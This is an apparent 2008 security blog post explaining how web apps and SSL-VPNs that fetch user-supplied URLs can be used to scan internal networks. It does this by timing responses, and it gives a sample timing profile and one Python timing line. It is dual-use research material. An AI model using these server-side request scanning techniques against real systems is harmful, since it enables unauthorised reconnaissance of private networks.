Monday, January 28, 2008

Scanning Intranets using Web Sites

(Another follow up to RSnakes post on hacking intranets using web browsers.)

I've been working on a utility that takes advantage of user controlled server side HTTP requests to perform host/port scans behind vulnerable web apps, reverse proxies, and WAFs. I have the guts of the scanner written, but now I need to work on making it configurable for different applications. I also need to improve the detection part a bit, as well as add some knowledge and finger printing capabilities.

An example of an application that uses this type of functionality is Google Documents - however Google does perform validation on the host names users pass in. Fortunately, there are still many apps that don't. The security implication here occurs when the web application can access other networks/servers/applications that the end user is not authorized for, like the internal network behind the firewall that is not normally routable from the Internet.

In addition to web applications, this type of functionality can also be used in SSLVPN's and reverse proxy appliances. One example, which happens to have a demo site with creds, is the SonicWALL SSL-VPN:

If you log in and click on the Microsoft Outlook link, you will see this in your address bar:

What if you were to modify the part of the URL?

Fortunately, other SSL-VPN vendors take a better approach. The Microsoft IAG (originally the Whale appliance - I worked for Whale, and then Microsoft) encrypts the host name within the URL. They call this Host Address Translation, or HAT for short. The last time I worked on an IAG, it still had a "Browse Internal Applications" form, which once a user became authenticated, allowed them to specify arbitrary internal hosts. If the IAG was configured to provide access to that internal host, it would serve up content from the host or complain about insufficient privileges (IAG has some robust ACL management). If the host was not configured for access, the IAG would serve an appropriate error message. So while still possible to enumerate some hosts, the IAG does what it can to lock things down.

While reverse proxies make host enumeration easier, they generally (but not always) require authentication, making them less vulnerable to these attacks in the wild. Nonetheless, this info is good if you ever need to perform an assessment of one. Generic web applications are a different story.

When an application lets a user specify a URL to be fetched, the user types the URL into their browser and submits the form. Once they press submit, the clock begins ticking as they wait for their request to get to the application, the application to parse it, and the application to initiate a new request for the specified URL. Once the application gets a response to its request, it can build a response to send back to the user. This is the same as with a reverse proxy. The big difference between a reverse proxy and a generic web app, is that the web app might not be configured to send all the content back out to the client. For example, an app that might allow a user to import an image from a different web server. While you can specify a url that is not an image and the application actually fetches it, it will perform some content checking and not actually show you the results.

Since we can't rely on viewing the actual content, the only piece of information the client has about the backend server is the time it takes for this transaction to complete. By analyzing the time it takes for this request -> request -> response -> response chain to take place, the client can determine characteristics of the backend server.

For example, I might pass the internet facing web application a url like Assuming that address is routable from the web server, the web app will initiate a TCP connection to on port 80. Next lets assume that port 80 is not blocked by a firewall, and that the server is in fact listening on port 80. This should result in a relatively quick transaction time, meaning that it should not take very long to receive a response from the Internet facing web app. However, if port 80 is not listening, not speaking HTTP, or is blocked by a firewall, the this transaction could take much longer. By specifying different ports and analyzing the response time, we can determine what ports are listening on the server.

Unfortunately, there are still many variables that can effect the timing of our request. First, we have network/Internet latency. Under normal circumstances with minimal latency, we can determine a baseline average response time from the web server. Second, we need to have an idea of how long it takes for a script on the web server to time out. Third, we need to get a handle on how long the server component used to make the backend request on our behalf takes to timeout. Below is an example profile of a vulnerable web app:

Script: fetch.aspx?url=
Server: IIS6.0
Default Server Script Timeout: 90 seconds
Average Resonse Time for 100 requests: 0.7 Seconds
Server Side Request Component: WinHttp.5.1
Default Component Timeout: 30 seconds
*WinHttp will fail immediatly when attempting to connect over ports 21/22/23.
Average Response time on forced component failure: .27 seconds
Average Response time when attempting known bad hosts (DNS failure): 30 seconds

From this profile, we can make some assumptions about communicating with hosts behind our web server. If there is a web server listening on the web servers local network, we can assume that a response would take less than .7 seconds (but not necessarily) and longer then .27 seconds (time when the component fails). If we have a 90 second server timeout, we know that WinHttp did not timeout (it is communicating with something) but it did not return control to the script yet. This would be a good indication that the specified server/port may be listening. If we get a response in 30 seconds, we know that WinHttp timed out while trying to contact the host, and that either the host is down or the port is closed.

I'll wrap up this post with a snip of source code. Python makes it very easy to time code execution. This line calls and times the execution of the fetch_page() method.

duration = min(Timer(setup="from __main__ import fetch_page", stmt="fetch_page(%s)"%('"'+host+'"')).repeat(1,1))

Hopefully soon I'll have a script up for interested folks to try!

No comments: